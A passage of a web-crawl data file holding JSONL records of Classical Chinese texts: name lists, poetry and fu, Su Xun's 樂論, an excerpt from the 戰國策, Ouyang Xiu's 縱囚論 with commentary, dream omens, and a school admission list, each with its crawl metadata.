朱二龙 朱昕灵 朱曼璇 朱贤武 朱济群 朱忠茂 朱芊楣 朱羽香 朱昱 朱晗 朱子仪 朱晶瑜 朱家庆 朱嘉庆 朱香羽 朱香傲 朱缨多 朱寅","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.n681.cn\/show_A0A.aspx","date":"2019-07-22T00:01:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00249.warc.gz","language":"lzh","language_score":0.3941408992,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.39414089918136597, \"wuu_Hani_score\": 0.31546658277511597, \"cmn_Hani_score\": 0.23640817403793335, \"nan_Hani_score\": 0.05175519362092018}","num_words":299,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.387,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n童锦逸 童谨逸 童金逸 童静逸 童晶逸 童鑫逸 童家麒 童涵雯 童毓 童毓雯 童毓涵 童尚政 童萧迪 童颢伦 童宗颐 童颢程 童书睿 童傲天 童晟皓 童千雯 童秋含 童梓绮 童家仪 童靖懿 童钰淇 童楚涵 童雅今 童泉敏 童雅璇 童佳欣 童乐彦 童乐宜 童乐璇 童国灿 童小芹 童新勇 童烁渊 童玉舟 童炜航 童雯 童宝蔓 童立荣 童昊宇 童思章 童嘉宏 童波 童忠 童思来 童安玛 童金学 童玉辉 童威榕 童跃飞 童凯锋 童虹宏 童晓康 童德 童果 童贤升 童炼 童咏泽 童贤池 童宇衡 童国维 童文峰 童兆中 童宝珠 童必凯 童奕奇 童宇洲 童宇舟 童呈企 童丞爨 童凯舟 童程旗 童蕊奇 童呈旗 童睿旗 童亦奇 童睿其 童睿淇 童睿琦 童睿骐 童睿棋 童睿齐 童睿琪 童睿祺 童馨仪 童伊伶 童伊灵 童伊凌 童鑫宜 童昕宜 童欣宜 童晨齐 童臣棋 童依龄 童依伶 童依翎 童依灵 童培仁 童李淼 童泉江 童李滨 童李圻 童李焱 童李欢 童李琪 童李暄 童李轩 童辉煌 童诗旷 童瑾 童钺茗 童钥茗 童爱茗 童沛茗 童家诚 童霁 童尉 童玳 童銮 童湾 童鹭 童骅 童颢 童璧 童觐 童若曼 童诗嘉 童佳诗 童迪莎 童诗迪 童凤凰 童睫 童圆 童莎莎 童沛 童琛 童文梁 童玉添 童瞳 童昊南 童铜铜 童铜矿 童昊楠 童在洲 童秀喜 童优聪 童志丹 童沐风 童楚婕 童晨萱 童静伊 童伟东 童灿 童仪 童幼珍 童慧慰 童天海 童宏扬 童施 童皓 童铸杰 童智杰 童志峰 童文婕 童威熔 童话林 童桦林 童建民 童志杰 童浩添 童点点 童舟渡 童国卿 童牧 童俊华 童盈盈 童诗盈 童可盈 童亚君 童海清 童嘉鸿 童红林 童慧 童豪波 童雨默 童麟雯 童忠良 童云荻 童慧敏 童晶亦 童晶邑 童静屹 童晶屹 童晶乙 童靓逸 童京逸 童瑾逸 童依凌 童译淇 童译琪 童译祺 童译骐 童译奇 童译棋 童译其 童勇宣 童洲凯 童舟凯 童自稳 童振宇 童皓天 童木法 童祉霖 童静娴 童新 童方林 童来亭 童颖虹 童凌慧 童轩 童薛 童雪珉 童烁铭 童烁珊 童烁姗 童烁涵 童烁琦 童烁琪 童烁崎 童烁思 童烁寒 童烁哲 童烁吉 童李圆 童烁佳 童佳烁 童烁飞 童淇 童江 童万和 童玺 童凤珍 童碧凯 童亦昕 童一昕 童鑫羽 童鑫雨 童心泽 童心淳 童天生 童思南 童炉锋 童昕稔 童鑫容 童鑫熔 童欣熔 童珉 童一心 童云华 童志清 童哲炎 童文祥 童一凡 童奕灵 童爱娇 童新富 童亦呈 童亦其 童新华 童桂香 童钊 童骋琪 童骋祺 童骋棋 童骋其 童骋奇 童纯奇 童诚琦 童诚琪 童诚祺 童诚棋 童诚其 童诚奇 童尘奇 童尘其 童尘淇 童程麒 童程齐 童丞琦 童丞骐 童丞祈 童丞祺 童丞奇 童辰琪 童亦伶 童亦凡 童亦睿","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/www.zhzyzz.cn\/show_4QE.aspx","date":"2019-11-22T23:17:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496672170.93\/warc\/CC-MAIN-20191122222322-20191123011322-00327.warc.gz","language":"lzh","language_score":0.7084722519,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.7084722518920898, \"cmn_Hani_score\": 0.2235843539237976, \"yue_Hani_score\": 0.03517827019095421, \"nan_Hani_score\": 0.03169522061944008}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.705,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n春江花月夜 春江潮水连海平,海上明月共潮生。滟滟随波千万里,何处春江无月明!江流宛转绕芳甸,月照花林皆似霰。空里流霜不觉飞,汀上白沙看不见。江天一色无纤尘,皎皎空中孤月轮。江畔何人初见月?江月何年初照人?人生代...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&tag=3PhqDzW6xZ&tagLabel=%E5%86%99%E8%8A%B1.htm","date":"2020-01-28T03:26:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251773463.72\/warc\/CC-MAIN-20200128030221-20200128060221-00295.warc.gz","language":"lzh","language_score":0.7024570107,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.7024570107460022, \"cmn_Hani_score\": 0.21980246901512146, \"nan_Hani_score\": 0.05203656479716301, \"wuu_Hani_score\": 0.012812779285013676}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.76,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n元稹 李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n离思五首 自爱残妆晓镜中,环钗漫篸绿丝丛。须臾日射胭脂颊,一朵红苏旋欲融。 山泉散漫绕阶流,万树桃花映小楼。闲读道书慵未起,水晶帘下看梳头。 红罗着压逐时新,吉了花纱嫩麴尘。第一莫嫌材地弱,些些纰缦最宜人...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/zzjjt.tw\/index$&poet_id=CZQYpDxslO&poet_idLabel=%E5%85%83%E7%A8%B9.htm","date":"2020-01-19T09:03:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594333.5\/warc\/CC-MAIN-20200119064802-20200119092802-00299.warc.gz","language":"lzh","language_score":0.5115143061,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5115143060684204, \"cmn_Hani_score\": 0.3794424533843994, \"nan_Hani_score\": 0.049043118953704834, \"wuu_Hani_score\": 0.038204461336135864, \"yue_Hani_score\": 0.015803664922714233}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.685,"perplexity_score":500.0,"cluster_detection":1} +{"text":"樂論\n禮之始作也,難而易行,既行也,易而難久。天下未知君之為君,父之為父,兄之為兄,而聖人為之君父兄。天下未有以異其君父兄,而聖人為之拜起坐立。天下未肯靡然以從我拜起坐立,而聖人身先之以恥。嗚呼!其亦難矣。天下惡夫死也久矣,聖人招之曰:來,吾生爾。既而其法果可以生天下之人,天下之人視其向也如此之危,而今也如此之安,則宜何從?故當其時雖難而易行。既行也,天下之人視君父兄,如頭足之不待別白而後識,視拜起坐立如寢食之不待告語而後從事。雖然,百人從之,一人不從,則其勢不得遽至乎死。天下之人,不知其初之無禮而死,而見其今之無禮而不至乎死也,則曰聖人欺我。故當其時雖易而難久。\n嗚呼!聖人之所恃以勝天下之勞逸者,獨有死生之說耳。死生之說不信於天下,則勞逸之說將出而勝之。勞逸之說勝,則聖人之權去矣。酒有鴆,肉有堇,然後人不敢飲食。藥可以生死,然後人不敢以苦口為諱。去其鴆,徹其堇,則酒肉之權固勝於藥。聖人之始作禮也,其亦逆知其勢之將必如此也,曰:告人以誠,而後人信之。幸今之時吾之所以告人者,其理誠然,而其事亦然,故人以為信。吾知其理,而天下之人知其事,事有不必然者,則吾之理不足以折天下之口,此告語之所不及也。\n告語之所不及,必有以陰驅而潛率之。於是觀之天地之間,得其至神之機,而竊之以樂。雨,吾見其所以濕萬物也;日,吾見其所以燥萬物也;風,吾見其所以動萬物也;隱隱谹谹而謂之雷者,彼何用也?陰凝而不散,物蹙而不遂,雨之所不能濕,日之所不能燥,風之所不能動,雷一震焉而凝者散,蹙者遂。曰雨者,曰日者,曰風者,以形用;曰雷者,以神用。用莫神於聲,故聖人因聲以為樂。為之君臣、父子、兄弟者,禮也。禮之所不及,而樂及焉。正聲入乎耳,而人皆有事君、事父、事兄之心,則禮者固吾心之所有也,而聖人之說又何從而不信乎?\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%A8%82%E8%AB%96","date":"2020-01-25T05:15:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251669967.70\/warc\/CC-MAIN-20200125041318-20200125070318-00541.warc.gz","language":"lzh","language_score":0.5918468833,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.5918468832969666, \"cmn_Hani_score\": 0.3300042152404785, \"nan_Hani_score\": 0.05911007523536682}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.71,"perplexity_score":500.0,"cluster_detection":1} +{"text":"呂相陽 許名揚 柯子璿 範偉皓 李家寶 杜宇航 朱文冉 陳子豪 劉付琳茜 趙延升 許恩浩 張若翡 陳嘯天 張煜闊 劉奧 王筱煜 李政燚 李政燊 程智強 高誌朋 侯靜怡 尚浩楠 孟想 劉玉林 閔振傑 馬斌超 宋美婷 劉暢然 李潮 戢逸烽 宋昭冉 謝汪涵 李婕彤 顧文均 李世坤 朱亞男 杜再興 朱迪菲 張欣雨 喻姣 楊芳 張鑫媛 康瀟月 王雨航 張燚健 黃鑠涵 田喆文 王家琦 劉麗 章心怡 尉滿星 竇雨露 方仕博 王尚文 陶靜翕 程振楊 章紫萱 張一君 龔曉超 張馨月 王鵬峰 張和源 陳曉宇 李俊偉 尤曉敏 陳佳瑤 遊豔豔 鄭元煒 李泳佳 李春苗 張誌強 何瀅煊 李建斌 劉文靖 夏宇 白屹然 張嵬然 黃夢穎 袁子鈺 黎丁愷 唐琳 朱麗萍 陳雨樂 陳浩然 閆玉 王怡丹 柯懿珍 塗錦程 王澤凱 鄭莉 柏耀輝 何盛銅 張彤 張鳳怡 李永帥 吳俊霏 熊康 孫鈺菡 丁俊傑 劉嘉祺 彭嘉穎 陳秋歌 張經緯 項鈺琦 畢仁睿 劉陽 楊毅斌 張雪陽 江陽美子 高晨軒 周利潔 彭林星 黃苡宏 林煜傑 劉海 高夢君 杜智成 楊姝涵 楊姝珂 胡宏陽 汪熙榮 曹書萍 吳琴 吳澤浠 黃佳楠 程宇晗 李顏俊君 朱星柯 付偉 石予維 曹鈺瑩 田澤耀 熊小冉 李鵬飛 姬天宇 劉欽赫\n王明賢 何國晨 鄒霄 孫福鈞 鍾雨彤 王文靜 薛樹躍 龔玉潔 張怡然 餘寧 曾小龍 陳昊 付文欣 郭文言 楊福慧 毛長民 王晶琳 張昱宸 王月陽 餘敏怡 王靜怡 金美伶 肖采予 程欣陽 劉承基 徐圓圓 劉啟航 王熠 戢韻喬 薛斯源 高楊 黃煒 陳佳瑤 高依琳 馮希 魏有梁 陳冬 明智軒 黃誌超 陸清源 何喆菡 薛晴 王仲航 鄭小娜 王慧 劉悅天 李宇涵 瞿靖鈺 任欣悅 餘勝男 謝藝帆 謝藝博 相向黎 張子欣 黎婷 王海源 薛喆 何寶琪 陶嫣然 李美婷 徐旭陽 王梓熠 高秋山 朱小丹 蔣定之 劉偉平 赫鵬 劉慧 白克力 成超 吳峰偉 張宇 孟晴 朱孝天 肖子豪 陳一航 金銘浩 丁昊翔 伍迪 殷凱 韋馨 王少宇 宋源 黃啟斌 萬坤 張誌雄 張瑋鑫 肖應楠 梁家夕 王紫喻 郭雅婷 陳佳穎 宋一恒 孫銘輝 蘇羽萍 胡宜 肖子豪 羅怡霖 袁君豪 劉誌濤 庹明傑 張延強 石昌華 朱雅文 呂敏 周子木 熊昱程 謝浩然 周雨辰 陳曉豪 黃詩山 楊維斌 陳曉宇 孫妍 王佳敏 李珊 魏秋悅 王茜 張曉婷 孫銘建 陳麗奕 姚迪 李瑩 曹詩穎 張雲萱 曾子佳 李墨涵 汪婧雯 董紫眀 武宇浩 趙楚涵 丁雨桐 何梓涵 高天鴻 劉子昂 趙一諾 吳澤陽 王歡 楊濤 劭金傑 徐斌 顧濤 劉敏 孫璐 楊尚文 何子龍 王然 林婧雯 蔡夢利 張榮榮 王雅倩 郭悅智 吳蓓蓓 曾嘉偉 方鴻濤 李沁園 楊一帆 袁佳敏 鄭建智 李帥豪 李想 劉姚 趙川林 黃宇熙 淩雲龍 高峰 楊文華 李翔 嚴夏 林起泰 戴向軍 李欣航 歐陽裏 郭安翔 莫源盛 唐曉雲 餘尚德 羅誌剛 程煒 徐靜輝 鄧婕 熊紹錚 孫力珠 王晨陽 吳驊 鮑莉 李寧馨 張海強 劉超 李景帆 鄧豔紅 周誠斌 申剛 胡宇 吳朝勇 陳義書 魏立勇 朱嶽恩 董華庭 程明筠 尚誌英 李曉峰 王曉南 屈曉嵐 李劍鵬\n恭喜以上學生被我校錄取。同樣也感謝家長們一直以來默默的支持和關懷!此外,沒有被錄取的同學也不要灰心。繼續努力!\n另外,學校於7月18日在重慶路美樂國際酒店12樓會議室,報名繳費,請以上學生家長們相互轉告!\n本文來源於微信公眾號,如有侵權,請與我們聯係。\n轉載請說明出處(112seo.com)。\n微信掃一掃\n分享文章到朋友圈\n首頁 |\n聯係我們 |\n眾知網\nCoryright © 1996-2015 焦點信息網 All Rights Reserved 皖ICP備14007495號-6","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/tw.112seo.com\/cityarticle-2084386.html","date":"2020-01-21T07:45:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250601628.36\/warc\/CC-MAIN-20200121074002-20200121103002-00267.warc.gz","language":"lzh","language_score":0.7182503939,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7182503938674927, \"cmn_Hani_score\": 0.15985804796218872, \"nan_Hani_score\": 0.11567665636539459}","num_words":356,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.756,"perplexity_score":500.0,"cluster_detection":1} +{"text":"诗曰:夜有纷纷梦,神魂预吉凶,庄周虚化蝶,吕望兆飞熊。丁固生松贵,江海得笔聪,黄粱巫峡事,非此莫能穷。\n天地 日月星辰\n天门开贵人荐引 天光灼身疾病除 天晴雨散百忧去 天明妇有生贵子天门未至有兵荒 仰面向天大富贵 乘龙上天主大贵 上天求妻儿女贵上天取物位王侯 飞上天富贵大吉 癸天上屋得高官 天裂有分主国忧天皇明主公卿至 天欲晓益寿命吉 渡天河主有所吉 天地合所求皆得天公使有大吉祥 日月初出家道昌 日月照身得重位 日月落忧没父母日月昏暗孕妇吉 日月欲出有官职 日月合会妻有子 日月衔山奴欺主负抱日月贵王侯 吞日月当生贵子 礼拜日月大吉昌 日光入屋官位至日初出无云大吉 日出有光有好事 云开日出凶事散 日入怀贵子月女拜星月烧香大吉 云忽遮日有阴私 星入怀主生贵子 星落有病及官事星列行主添奴婢 持执星宿大富贵 流星不落主移居 巡天摩星位公卿云起四方交易吉 五色云主大吉昌 云赤白吉青黑凶 见浮云作事不成云雾遮事大吉利 黑云压地时气病 霜雪降主事不成 雪下及时大吉利雪落身上万事成 雪不沾身主孝服 雪落家庭主丧事 阴雨晦时主囚事行路逢雨有酒食 雷霆作声官位至 雷声恐怕私居吉 雷从地震主志遂身被霹雳主富贵 电光照身有吉庆 赤虹见吉黑虹凶 霞满天百事欢悦狂风大雨人死亡 风吹人衣主疾病 忽大风国有号令 风如吼主远信至","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/www.whyknowledgediscovery.com\/","date":"2020-06-07T00:58:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348521325.84\/warc\/CC-MAIN-20200606222233-20200607012233-00202.warc.gz","language":"lzh","language_score":0.4607119858,"language_script":"Hani","minhash_cluster_size":33,"top_langs":"{\"lzh_Hani_score\": 0.4607119858264923, \"cmn_Hani_score\": 0.2692347466945648, \"nan_Hani_score\": 0.21167749166488647, \"yue_Hani_score\": 0.02955007739365101, \"jpn_Jpan_score\": 0.01687251403927803, \"wuu_Hani_score\": 0.010664189234375954}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.456,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷十九 ‧ 趙策二\n張儀為秦連橫說趙王\n張儀為秦連橫,說趙王曰:「敝邑秦王使臣敢獻書于大王御史。大王收率天下以儐秦,秦兵不敢出函谷關十五年矣。大王之威,行于天下山東。敝邑恐懼懾伏,繕甲厲兵,飾車騎,習馳射,力田積粟,守四封之內,愁居懾處,不敢動搖,唯大王有意督過之也。今秦以大王之力,西舉巴蜀,并漢中,東收兩周而西遷九鼎,守白馬之津。秦雖辟遠,然而心忿悁含怒之日久矣。今寡君有敝甲鈍兵,軍于澠池,願渡河踰漳,據番吾,迎戰邯鄲之下。願以甲子之日合戰,以正殷紂之事。敬使臣先以聞于左右。凡大王之所信以為從者,恃蘇秦之計。熒惑諸侯,以是為非,以非為是,欲反覆齊國而不能,自令車裂于齊之市。夫天下之不可一亦明矣。今楚與秦為昆弟之國,而韓、魏稱為東蕃之臣,齊獻魚鹽之地,此斷趙之右臂也。夫斷右臂而求與人鬥,失其黨而孤居,求欲無危,豈可得哉?今秦發三將軍,一軍塞午道,告齊使興師度清河,軍于邯鄲之東;一軍軍于成皋,敺韓、魏而軍于河外;一軍軍于澠池。約曰『四國為一以攻趙,破趙而四分其地。』是故不敢匿意隱情,先以聞于左右。臣竊為大王計,莫如與秦遇于澠池,面相見而身相結也。臣請案兵無攻,願大王之定計。」\n趙王曰:「先王之時,奉陽君相,專權擅勢,蔽晦先王,獨制官事。寡人宮居,屬于師傅,不能與國謀。先王棄羣臣,寡人年少,奉祠祭之日淺,私心固竊疑焉。以為一從不事秦,非國之長利也。乃且願變心易慮,剖地謝前過以事秦。方將約車趨行,而適聞使者之明詔。」于是乃以車三百乘入朝澠池,割河間以事秦。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/a2\/a202\/240.htm","date":"2020-07-10T04:01:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655902496.52\/warc\/CC-MAIN-20200710015901-20200710045901-00497.warc.gz","language":"lzh","language_score":0.5918623805,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5918623805046082, \"cmn_Hani_score\": 0.33721864223480225, \"nan_Hani_score\": 0.044330865144729614, \"wuu_Hani_score\": 0.011586559005081654}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.778,"perplexity_score":500.0,"cluster_detection":1} +{"text":"惟永初之有七兮,余随子乎东征。时孟春之吉日兮,撰良辰而将行。乃举趾而升舆兮,夕予宿乎偃师。遂去故而就新兮,志怆悢而怀悲!\n明发曙而不寐兮,心迟迟而有违。酌鞰酒以弛念兮,喟抑情而自非。谅不登樔而椓蠡兮,得不陈力而相追。且从众而就列兮,听天命之所归。遵通衢之大道兮,求捷径欲从谁?乃遂往而徂逝兮,聊游目而遨魂!\n历七邑而观览兮,遭巩县之多艰。望河洛之交流兮,看成皋之旋门。既免脱于峻崄兮,历荥阳而过卷。食原武之息足,宿阳武之桑间。涉封丘而践路兮,慕京师而窃叹!小人性之怀土兮,自书传而有焉。\n遂进道而少前兮,得平丘之北边。入匡郭而追远兮,念夫子之厄勤。彼衰乱之无道兮,乃困畏乎圣人。怅容与而久驻兮,忘日夕而将昏。到长垣之境界,察农野之居民。睹蒲城之丘墟兮,生荆棘之榛榛。惕觉寤而顾问兮,想子路之威神。卫人嘉其勇义兮,讫于今而称云。蘧氏在城之东南兮,民亦尚其丘坟。唯令德为不朽兮,身既没而名存。\n惟经典之所美兮,贵道德与仁贤。吴札称多君子兮,其言信而有徵。后衰微而遭患兮,遂陵迟而不兴。知性命之在天,由力行而近仁。勉仰高而蹈景兮,尽忠恕而与人。好正直而不回兮,精诚通于明神。庶灵祇之鉴照兮,佑贞良而辅信。\n乱曰:君子之思,必成文兮。盍各言志,慕古人兮。先君行止,则有作兮。虽其不敏,敢不法兮。贵贱贫富,不可求兮。正身履道,以俟时兮。修短之运,愚智同兮。靖恭委命,唯吉凶兮。敬慎无怠,思嗛约兮。清静少欲,师公绰兮。","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/www.zshici.com\/fu\/?dynasty=%E4%B8%A4%E6%B1%89","date":"2020-09-26T23:26:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400249545.55\/warc\/CC-MAIN-20200926231818-20200927021818-00503.warc.gz","language":"lzh","language_score":0.6208307743,"language_script":"Hani","minhash_cluster_size":43,"top_langs":"{\"lzh_Hani_score\": 0.620830774307251, \"cmn_Hani_score\": 0.11901948601007462, \"nan_Hani_score\": 0.09429324418306351, \"yue_Hani_score\": 0.02357424795627594, \"zxx_Latn_score\": 0.021763207390904427, \"jpn_Jpan_score\": 0.01588381454348564, \"und_Tang_score\": 0.010192413814365864}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.432,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n縱囚論 歐陽脩\n信義行於君子、而刑戮施於小人。兩句立柱。刑入於死者、乃罪大惡極、此又小人之尤甚者也。懸指所縱之囚。寧以義死、不苟幸生、而視死如歸、此又君子之尤難者也。懸指囚之自歸。 ○兩尤字、最見精神。方唐太宗之六年、錄大辟闢、囚三百餘人。縱使還家、約其自歸以就死。是以君子之難能、期小人之尤者以必能也。一斷。其囚及期、而卒自歸無後者、是君子之所難、而小人之所易也。一斷。此豈近於人情哉。一句收緊、伏後必本人情句。或曰、罪大惡極、誠小人矣。及施恩德以臨之、可使變而爲君子。蓋恩德入人之深、而移人之速、有如是者矣。設一難、起下本㫖。曰、太宗之爲此、所以求此名也。言太宗爲此、正求恩德入人之名。 ○劈手一接、喝破太宗一生病根、刺心刻髓。然安知夫縱之去也、不意其必來以冀免、所以縱之乎。又安知夫被縱而去也、不意其自歸而必獲免、所以復來乎。將太宗與囚之心事、一一寫出、深文曲筆。夫意其必來而縱之、是上賊下之情也。意其必免而復來、是下賊上之心也。賊、猶盜也。吾見上下交相賊以成此名也。烏有所謂施恩德與夫知信義者哉。上以賊下、非真施恩德也。下以賊上、非真知信義也。 ○反應上文收住。不然、太宗施德於天下、於茲六年矣。不能使小人不爲極惡大罪。而一日之恩、能使視死如歸、而存信義、此又不通之論也。反覆辨駁、愈駁愈快。然則何爲而可、曰、縱而來歸、殺之無赦。而又縱之、而又來、則可知爲恩德之致爾。又起一波。然此必無之事也。急轉。若夫縱而來歸而赦之、可偶一爲之爾。若屢爲之、則殺人者皆不死。是可爲天下之常法乎。不可爲常者、其聖人之法乎。提出常法二字、縱囚之失、顯然可見。是以堯舜三王之治、必本於人情。不立異以爲高、不逆情以干譽。前不說堯舜三王、留在後結、辭盡而意無窮。\n太宗縱囚、囚自來歸、俱爲反常之事。先以不近人情斷定、末以不可爲常法結之、自是千古正論。通篇雄辨深刻、一步緊一步、令無可躲閃處。此等筆力、如刀斫斧截、快利無雙。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/neodu.com\/%E3%80%8A%E7%B8%B1%E5%9B%9A%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2020-10-20T06:16:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107869933.16\/warc\/CC-MAIN-20201020050920-20201020080920-00515.warc.gz","language":"lzh","language_score":0.5848909616,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5848909616470337, \"cmn_Hani_score\": 0.23006118834018707, \"nan_Hani_score\": 0.06562118232250214, \"jpn_Jpan_score\": 0.03862568363547325, \"wuu_Hani_score\": 0.023296117782592773, \"yue_Hani_score\": 0.015910163521766663}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.585,"perplexity_score":500.0,"cluster_detection":1} +{"text":"千室暮山西,浮云与树齐。\n剖辞云落纸,拥吏雪成泥。\n野火芦千顷,河田水万畦。\n不知琴月夜,谁得听乌啼。\n系高顼之玄胄兮,氏中叶之炳灵。飖颽风而蝉蜕兮,雄朔野以扬声。皇十纪而鸿渐兮,有羽仪于上京。巨滔天而泯夏兮,考遘愍以行谣。终保己而贻则兮,里上仁之所庐。懿前烈之纯淑兮,穷与达其必济。咨孤蒙之眇眇兮,将圮绝而罔阶。岂余身之足殉兮,违世业之可怀。靖潜处以永思兮,经日月而弥远。匪党人之敢拾兮,庶斯言之不玷。\n魂茕茕与神交兮,精诚发于宵寐。梦登山而迥眺兮,觌幽人之仿彿。揽葛藟而授余兮,眷峻谷曰勿坠。吻昕寤而仰思兮,心蒙蒙犹未察。黄神邈而靡质兮,仪遗谶以臆对。曰乘高而胪神兮,道遐通而不迷。葛绵绵于樛木兮,咏南风以为绥。盖惴惴之临深兮,乃二雅之所祗。既讯尔以吉象兮,又申之以炯戒。盍孟晋以迨群兮,辰倏忽其不再。\n承灵训其虚徐兮,鎶盘桓而且俟。惟天地之无穷兮,鲜生民之晦在。纷屯邅与蹇连兮,何艰多而智寡。上圣迕而后拔兮,虽群黎之所御。昔卫叔之御昆兮,昆为寇而丧予。管弯弧欲毙仇兮,仇作后而成己。变化故而相诡兮,孰云预其终始!雍造怨而先赏兮,丁繇惠而被戮。栗取吊于逌吉兮,王膺庆于所戚。叛回穴其若兹兮,北叟颇识其倚伏。单治里而外凋兮,张修襮而内逼。聿中和为庶几兮,颜与冉又不得。溺招路以从己兮,谓孔氏犹未可。安慆慆而不萉兮,卒陨身乎世祸。游圣门而靡救兮,虽覆醢其何补?固行行其必凶兮,免盗乱为赖道。形气发于根柢兮,柯叶汇而零茂。恐魍魉之责景兮,羌未得其云已。\n黎淳耀于高辛兮,芈强大于南汜。嬴取威于伯仪兮,姜本支乎三趾。既仁得其信然兮,仰天路而同轨。东邻虐而歼仁兮,王合位乎三五。戎女烈而丧孝兮,伯徂归于龙虎。发还师以成命兮,重醉行而自耦。震鳞漦于夏庭兮,匝三正而灭姬。巽羽化于宣宫兮,弥五辟而成灾。道修长而世短兮,夐冥默而不周。胥仍物而鬼诹兮,乃穷宙而达幽。妫巢姜于孺筮兮,旦筭祀于契龟。宣曹兴败于下梦兮,鲁卫名谥于铭谣。妣聆呱而劾石兮,许相理而鞫条。道混成而自然兮,术同原而分流。神先心以定命兮,命随行以消息。斡流迁其不济兮,故遭罹而嬴缩。三栾同于一体兮,虽移易而不忒。洞参差其纷错兮,斯众兆之所惑。周贾荡而贡愤兮,齐死生与祸福。抗爽言以矫情兮,信畏牺而忌鵩。\n所贵圣人至论兮,顺天性而断谊。物有欲而不居兮,